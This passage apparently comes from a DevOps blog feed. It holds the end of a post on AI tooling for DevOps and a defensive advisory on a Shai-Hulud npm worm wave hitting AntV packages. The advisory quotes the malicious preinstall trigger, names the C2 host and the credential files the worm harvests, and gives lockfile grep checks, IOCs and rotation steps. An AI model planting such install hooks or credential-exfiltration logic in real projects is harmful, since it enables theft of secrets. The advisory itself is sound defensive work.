<p>Secrets management, kernel-level tooling (eBPF, kprobes), and database schema migrations are in the same bucket. AI assists at the margins; the load-bearing decisions are still human.</p>
<h2 id="h2-why-the-big-vendors-are-moving-slowly" class="group relative scroll-mt-24">
        <a href="#h2-why-the-big-vendors-are-moving-slowly" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why the big vendors are moving slowly
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-the-big-vendors-are-moving-slowly"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the question the snippet that inspired this post got right. GitHub does not ship a half-broken AI feature because their userbase is too large to absorb the support burden of a regression. Datadog does not auto-route alerts via an LLM because a single false negative in a production incident becomes a customer-leaving event. HashiCorp does not auto-write Terraform plans because the plan is the last line of defense between an engineer and an outage.</p>
<p>The economics are asymmetric. A vendor that ships a great AI feature gets a press cycle. A vendor that ships a bad one loses three of its biggest customers. So they ship slowly, in betas, with opt-in flags, behind feature toggles.</p>
<p>This is rational for them. It also leaves a gap that the engineers running real stacks are filling.</p>
<h2 id="h2-what-engineers-are-doing-that-vendors-are-not" class="group relative scroll-mt-24">
        <a href="#h2-what-engineers-are-doing-that-vendors-are-not" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What engineers are doing that vendors are not
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-engineers-are-doing-that-vendors-are-not"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The shape that matters: engineers build narrow, opinionated tools for their specific stack. A vendor ships something general for everyone. The narrow one is more useful to the team that built it. Examples we have seen in the last six months:</p>
<ul>
<li><strong>A kubectl wrapper that pipes commands and output to Claude with a prompt about the cluster&#39;s deployment conventions.</strong> Replaces the &quot;ask the senior engineer what to do&quot; Slack message for routine debugging.</li>
<li><strong>A pre-commit hook that runs the diff through a local model and refuses to commit if it spots a likely secret leak.</strong> The local model is small; the false-positive rate is high but acceptable when the alternative is committing an AWS key.</li>
<li><strong>A Slack bot that watches incident channels, drafts a postmortem skeleton when the channel goes quiet for 30 minutes, and pings the IC to review.</strong> Saves two hours of writing per incident.</li>
<li><strong>A custom MCP server that exposes Prometheus, the cluster&#39;s events API, and the deployment history to Claude Code.</strong> The engineer asks &quot;why is this pod restarting?&quot; and the model runs the queries it needs. This is what Datadog and New Relic are trying to sell, but built on top of the open standards in 45 minutes.</li>
<li><strong>A nightly job that runs a model against the last day&#39;s CI failures and groups them by likely cause.</strong> Replaces the &quot;is this a known flake?&quot; triage question.</li>
</ul>
<p>None of these are products. All of them are 200-line scripts an engineer wrote in an afternoon. Cumulatively, they are doing more for the day-to-day of a DevOps team than any vendor announcement we have seen this year.</p>
<h2 id="h2-where-to-start-this-week" class="group relative scroll-mt-24">
        <a href="#h2-where-to-start-this-week" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Where to start this week
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-where-to-start-this-week"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you have not built anything AI-shaped into your workflow yet, pick one of these. They are ordered by impact-to-effort ratio.</p>
<ol>
<li><strong>Run Claude Code (or Cursor, or Aider) against your infrastructure repos.</strong> Not for new code; for reading. Ask it to summarise a Terraform module you did not write. Ask it to map the data flow through your Helm chart. The &quot;explain this codebase to me&quot; use case is the most underrated AI application in DevOps.</li>
<li><strong>Wire one MCP server.</strong> The Anthropic Model Context Protocol now has servers for kubectl, GitHub, Prometheus, Loki, Postgres, and most of the tools you already use. Connecting Claude to your own infra (read-only) takes 20 minutes and immediately makes the rest of this list 10x more useful.</li>
<li><strong>Pick one chore and write a script.</strong> Dependency triage, PR summarisation, incident notes, on-call schedule rotation explainers. Whatever takes 30 minutes of your week and is mostly the same each time. A 200-line wrapper around an LLM API will replace it for a one-time cost.</li>
<li><strong>Set up a self-hosted PR review agent.</strong> Not a vendor product. A script. Tune the prompt to your codebase&#39;s conventions. Run it as a GitHub Actions check. Iterate weekly.</li>
</ol>
<h2 id="h2-where-not-to-start-this-week" class="group relative scroll-mt-24">
        <a href="#h2-where-not-to-start-this-week" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Where not to start this week
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-where-not-to-start-this-week"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Equally important. These are the corners where the hype is well ahead of the substance, and you will burn time you do not get back.</p>
<ul>
<li><strong>&quot;AI ops platforms&quot; that promise auto-remediation against production.</strong> The good ones do not actually do this; the marketing implies they do. Read the docs carefully.</li>
<li><strong>LLMs in the critical path of a deployment pipeline.</strong> A flaky model becomes a flaky deploy. Use AI to suggest, not to gate.</li>
<li><strong>Custom training on your incident data, hoping for &quot;predictive AIOps.&quot;</strong> The dataset is too small. The signal is too noisy. Three years from now this might work; today it does not.</li>
<li><strong>Replacing a senior engineer with an agent.</strong> No vendor sells this in those words, but several pitches imply it. The senior engineer&#39;s judgement on what to do with the LLM&#39;s output is the load-bearing piece.</li>
</ul>
<h2 id="h2-what-the-next-year-probably-looks-like" class="group relative scroll-mt-24">
        <a href="#h2-what-the-next-year-probably-looks-like" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What the next year probably looks like
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-the-next-year-probably-looks-like"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A short list of predictions, marked clearly as predictions:</p>
<ul>
<li>The PR review surface will get a clear winner. Either GitHub Copilot Code Review levels up enough to be the default, or one of the agent startups (Greptile, CodiumAI, Sweep, others) wins on quality.</li>
<li>MCP becomes standard. The protocol is the right shape, the vendors are adopting it, and the network effect compounds with every new server.</li>
<li>Terraform gets an &quot;AI plan summary&quot; feature from HashiCorp. It will explain what an apply will change in English. It will not write the apply for you. That is the right balance.</li>
<li>One major outage will be partially-attributed-to-AI in its postmortem. It will become a case study. We will all learn from it.</li>
<li>The vendors will catch up. By mid-2027, the gap between &quot;what your custom 200-line script does&quot; and &quot;what your platform vendor ships&quot; will be much smaller than it is today.</li>
</ul>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>AI is reshaping DevOps. Not evenly. Code authoring and observability querying are the surfaces moving fastest. Infrastructure-as-code, secret management, and autonomous remediation are the surfaces moving slowest, for honest reasons. The big vendors are moving carefully because the downside of a wrong move is large; the individual engineers are moving fast because their downside is just an afternoon.</p>
<p>If you are in DevOps and you have not yet built an AI-shaped tool of your own into your workflow, this week is the right time. The bar to ship something useful has never been lower. The thing you build for yourself today is the thing your vendor will sell back to you in two years. Get ahead of it.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[AntV npm Compromise: The Shai-Hulud Worm Comes for Your Dashboards (May 19, 2026)]]></title>
      <link>https://devops.anhp.site/posts/antv-npm-shai-hulud-wave-may-2026</link>
      <description><![CDATA[A new Shai-Hulud wave landed at 01:56 UTC on May 19 and rode the @antv maintainer account through 323 packages including echarts-for-react. Here is what got published, what it steals, and the lockfile grep that tells you if you are exposed.]]></description>
      <pubDate>Tue, 19 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/antv-npm-shai-hulud-wave-may-2026</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[Supply Chain]]></category><category><![CDATA[npm]]></category><category><![CDATA[Security]]></category><category><![CDATA[DevOps]]></category><category><![CDATA[CICD]]></category>
      <content:encoded><![CDATA[<p>A new wave of the Shai-Hulud worm hit npm at 01:56 UTC on May 19, 2026. This time the carrier was the <code>atool</code> maintainer account, which has publish rights across the AntV data-visualization ecosystem and a handful of downstream packages. Inside an hour the attacker pushed malicious versions of <code>@antv/g2</code>, <code>@antv/g6</code>, <code>@antv/x6</code>, <code>@antv/l7</code>, <code>@antv/s2</code>, <code>@antv/f2</code>, <code>@antv/g</code>, <code>@antv/g2plot</code>, <code>@antv/graphin</code>, <code>@antv/data-set</code>, plus the chart-glue libraries <code>echarts-for-react</code> (1.1M weekly downloads), <code>timeago.js</code>, <code>size-sensor</code>, and <code>canvas-nest.js</code>. Socket counted 639 compromised package versions across 323 unique packages in the burst, and 1,055 versions across 502 packages when you stack it on the broader campaign.</p>
<p>If your stack pulls any of these, even transitively, the payload runs at install time and exfiltrates whatever CI tokens, cloud credentials, and SSH keys the runner can see. This post is the short, practical version: what shipped, what it does, the one-liner grep that tells you if you are exposed, and the order to rotate secrets if you were.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>New Shai-Hulud wave on May 19, 2026. Same worm family as the earlier TanStack and PyTorch Lightning incidents, different namespace and a fresh C2.</li>
<li>Compromised maintainer: <code>atool</code> on npm. AntV namespace plus <code>echarts-for-react</code>, <code>timeago.js</code>, <code>size-sensor</code>, <code>canvas-nest.js</code>, packages under <code>@lint-md/</code>, <code>@openclaw-cn/</code>, and <code>@starmind/</code>.</li>
<li>Trigger: <code>&quot;preinstall&quot;: &quot;bun run index.js&quot;</code> in the package.json. Runs the moment your CI installs.</li>
<li>Exfil destination: <code>t.m-kosche.com:443/api/public/otel/v1/traces</code> over HTTPS, AES-256-GCM payload with RSA-OAEP key wrapping. Looks like an OpenTelemetry traces submission.</li>
<li>Targets GitHub tokens, npm tokens, AWS keys, Kubernetes service-account tokens, Vault tokens, SSH keys, Docker auth files, database connection strings.</li>
<li>Creates a repository under the victim GitHub account named <code>&lt;dune-word&gt;-&lt;dune-word&gt;-&lt;digits&gt;</code> (e.g., <code>sayyadina-stillsuit-852</code>) and uploads stolen data as <code>results/results-&lt;timestamp&gt;-&lt;counter&gt;.json</code>. Marker string in commits: <code>niagA oG eW ereH :duluH-iahS</code>.</li>
<li>If your lockfile mentions any of the named packages with a version published between 01:56 and 02:56 UTC on May 19, treat the host that installed it as compromised and rotate everything in scope.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A Node.js / npm / pnpm / Yarn / Bun project (or a CI pipeline that installs Node packages).</li>
<li>5 minutes to grep your lockfiles.</li>
<li>Access to rotate the credentials in your CI environment (npm tokens, GitHub Actions secrets, cloud IAM keys).</li>
</ul>
<h2 id="h2-what-changed-in-this-wave" class="group relative scroll-mt-24">
        <a href="#h2-what-changed-in-this-wave" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What changed in this wave
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-changed-in-this-wave"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The Shai-Hulud worm has been hitting npm in waves since the late-2025 TanStack incident. The core loop has not changed: compromise a maintainer, publish malicious patch versions with a <code>preinstall</code> script, harvest credentials, use the stolen npm tokens to spread to packages the victim maintains. What is new in the May 19 wave:</p>
<ul>
<li><strong>Carrier:</strong> the <code>atool</code> account. This account has publish rights across the AntV ecosystem, which means a single account compromise unlocked 10+ heavily-used charting packages plus several React glue libraries. The TanStack wave moved through a single namespace; this one fans out wider.</li>
<li><strong>Transport:</strong> the worm now ships a <code>bun run index.js</code> preinstall script. Bun executes faster than Node and tolerates more permissive parsing, so the payload runs cleanly on Bun-installing runners (which is most modern Node CI). The earlier waves used <code>node</code> or <code>npm run</code>. If your CI has Bun preinstalled (the default on a lot of GitHub Actions images now), it executes without a separate runtime install step.</li>
<li><strong>Crypto:</strong> payload upgraded from raw HTTPS POSTs to AES-256-GCM body with RSA-OAEP wrapping. The traffic now blends into OpenTelemetry trace submissions to <code>t.m-kosche.com</code>, which dodges the simple <code>egress to known-bad domain</code> SOC rules unless you also fingerprint the request shape.</li>
<li><strong>Persistence:</strong> the worm creates a public repository under the victim&#39;s GitHub account, with a Dune-themed naming pattern, and stores exfiltrated data as a JSON file in <code>results/</code>. This is a backup channel in case the direct HTTPS exfil is blocked, and it is a public-internet-readable copy of your stolen secrets until you find and delete the repo.</li>
</ul>
<p>The post-install behavior is otherwise the well-documented Shai-Hulud set: walk the file system for <code>.env</code>, <code>.npmrc</code>, <code>~/.aws/credentials</code>, <code>~/.docker/config.json</code>, <code>~/.kube/config</code>, SSH private keys, then walk environment variables for the usual CI tokens, then attempt to publish modified versions of any packages the stolen npm token can publish.</p>
<h2 id="h2-the-60-second-check-are-you-exposed" class="group relative scroll-mt-24">
        <a href="#h2-the-60-second-check-are-you-exposed" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The 60-second check: are you exposed
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-60-second-check-are-you-exposed"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Run this in every repo. It grep across all the common lockfile formats:</p>
<pre><code class="hljs language-bash">grep -rE <span class="hljs-string">&quot;(@antv/|echarts-for-react|\&quot;timeago\.js\&quot;|\&quot;size-sensor\&quot;|\&quot;canvas-nest\.js\&quot;|@lint-md/|@openclaw-cn/|@starmind/)&quot;</span> \
  --include=<span class="hljs-string">&quot;package.json&quot;</span> \
  --include=<span class="hljs-string">&quot;package-lock.json&quot;</span> \
  --include=<span class="hljs-string">&quot;pnpm-lock.yaml&quot;</span> \
  --include=<span class="hljs-string">&quot;bun.lock&quot;</span> \
  --include=<span class="hljs-string">&quot;yarn.lock&quot;</span> \
  -l
</code></pre><p>Zero matches: you are clear. Direct deps, transitive deps, and dev deps are all covered because they all end up resolved into the lockfile.</p>
<p>If you do hit a match, dig one level deeper to find the resolved version:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># For npm / pnpm / Bun lockfiles</span>
grep -A2 -E <span class="hljs-string">&quot;(@antv/|echarts-for-react)&quot;</span> package-lock.json pnpm-lock.yaml bun.lock 2&gt;/dev/null

<span class="hljs-comment"># For Yarn classic</span>
grep -A2 -E <span class="hljs-string">&quot;(@antv/|echarts-for-react)&quot;</span> yarn.lock
</code></pre><p>Any version published between <strong>2026-05-19 01:56 UTC and 02:56 UTC</strong> is the malicious window. Older versions are clean. Versions published after Socket and npm pulled the malicious ones (early May 19) are also clean. If you installed during the window, assume compromise.</p>
<h2 id="h2-if-you-were-exposed-rotation-order" class="group relative scroll-mt-24">
        <a href="#h2-if-you-were-exposed-rotation-order" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          If you were exposed: rotation order
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-if-you-were-exposed-rotation-order"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The worm runs as the CI user, so the credentials it reaches are everything the CI runner had access to. Rotate in this order. The order matters because some tokens can re-grant access to others.</p>
<ol>
<li><strong>npm publish tokens</strong> first. If any package you maintain was on the CI runner&#39;s auth, the worm has already tried to use it. Rotate via <code>npm token revoke</code> and re-issue, then audit <code>npm token list</code> for unknown tokens.</li>
<li><strong>GitHub Actions <code>GITHUB_TOKEN</code> and personal access tokens.</strong> Revoke at <code>github.com/settings/tokens</code>. If the worker created a public repo under your account, find and delete it (search your repos for names matching <code>&lt;dune&gt;-&lt;dune&gt;-&lt;digits&gt;</code> or the marker string <code>niagA oG eW ereH :duluH-iahS</code>).</li>
<li><strong>Cloud IAM keys</strong>: AWS, GCP, Azure. The worm reads <code>~/.aws/credentials</code>, <code>AWS_ACCESS_KEY_ID</code>, <code>AWS_SECRET_ACCESS_KEY</code>. Rotate via the cloud console; do not just edit the env var.</li>
<li><strong>Kubernetes service-account tokens.</strong> If the runner had a <code>KUBECONFIG</code>, that token can pull secrets from the cluster. Rotate the service account.</li>
<li><strong>Vault tokens.</strong> <code>VAULT_TOKEN</code> is in the targeted list. Revoke the token and audit the audit log for its recent use.</li>
<li><strong>SSH keys.</strong> The worm copies <code>~/.ssh/id_*</code> private keys. Rotate any key the CI runner had access to (deploy keys, signing keys).</li>
<li><strong>Anything in <code>.env</code> files on disk.</strong> If they were on the runner, they are gone. Rotate every credential listed.</li>
</ol>
<p>After rotation, audit GitHub for new repos under your org, npm for new versions on packages you own, and cloud logs for unusual API calls from unknown IPs in the past 24 hours.</p>
<h2 id="h2-indicators-of-compromise-to-feed-your-soc" class="group relative scroll-mt-24">
        <a href="#h2-indicators-of-compromise-to-feed-your-soc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Indicators of compromise to feed your SOC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-indicators-of-compromise-to-feed-your-soc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Network egress to either of these is a red flag for the May 19 wave:</p>
<pre><code class="hljs language-text">t.m-kosche.com                 (primary C2, HTTPS port 443)
fulcio.sigstore.dev            (secondary endpoint, abuses sigstore)
rekor.sigstore.dev             (secondary endpoint, abuses sigstore)
</code></pre><p>The sigstore endpoints are legitimate services, which makes pure-domain alerting noisy. Pair the egress alert with the source: if a CI runner that normally does not touch sigstore suddenly POSTs there during a Node install, that is the pattern.</p>
<p>File-system markers on a runner that ran the payload:</p>
<pre><code class="hljs language-text">~/.cache/npm/_logs/                    (preinstall script left logs here)
/tmp/results-&lt;timestamp&gt;-&lt;counter&gt;.json  (staged exfil before HTTPS POST)
</code></pre><p>GitHub-side markers on the victim account:</p>
<pre><code class="hljs language-text">A new public repo named &lt;dune-word&gt;-&lt;dune-word&gt;-&lt;digits&gt;
  e.g. sayyadina-stillsuit-852, paul-fremen-1213, gurney-crysknife-49
Commit body containing: niagA oG eW ereH :duluH-iahS
File path: results/results-&lt;timestamp&gt;-&lt;counter&gt;.json
</code></pre><p>The Dune reference is the worm author&#39;s signature across waves. The reversed string decodes to <code>Shai-Hulud: Here We Go Again</code>. It is consistent enough that you can search your org-wide GitHub event log for it.</p>
<h2 id="h2-preventing-the-next-wave" class="group relative scroll-mt-24">
        <a href="#h2-preventing-the-next-wave" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Preventing the next wave
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-preventing-the-next-wave"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the third Shai-Hulud wave in roughly six months. There is going to be a fourth. Defenses that actually move the needle:</p>
<ul>
<li><strong>Pin npm dependencies with <code>--save-exact</code></strong> and resolve transitives through a single lockfile per repo. Caret-pinning (<code>^1.2.3</code>) is what gets you auto-installed into the malicious window. Exact pins force a human to bump.</li>
<li><strong>Disable <code>preinstall</code> and <code>postinstall</code> scripts in CI</strong> with <code>npm config set ignore-scripts true</code> (or <code>--ignore-scripts</code> on the install command, or <code>enableScripts: false</code> in <code>.yarnrc.yml</code>). This breaks some legitimate packages that need a native build step, but those are usually a known short list you can opt back in for. The default should be off.</li>
<li><strong>Run installs in an ephemeral runner with no production credentials in env.</strong> GitHub Actions composite jobs make this practical: one job does <code>npm ci --ignore-scripts</code> against a hermetic cache, the next stage does the build, only the deploy stage has the real secrets. If a malicious preinstall fires, it sees nothing worth exfiltrating.</li>
<li><strong>Egress allowlist on CI runners.</strong> The default GitHub Actions runner can talk to the entire internet. An egress allowlist of registry.npmjs.org, github.com, your registry, and your deploy targets kills almost every supply-chain payload. Tools like Sysdig&#39;s egress policies, Step Security&#39;s harden-runner action, or a simple iptables rule in your self-hosted runner image all do this.</li>
<li><strong>npm token scoping.</strong> Use <code>--scope</code> and granular permissions. A token that can only publish <code>@your-org/foo</code> cannot be used by a worm to publish <code>@your-org/bar</code>. Audit <code>npm token list</code> regularly and prune.</li>
<li><strong>Watch for new repos under your org and your maintainer accounts.</strong> A Shai-Hulud-style worm cannot hide the repo it creates. A simple cron that diffs <code>gh repo list</code> against a known list will catch it within an hour.</li>
</ul>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
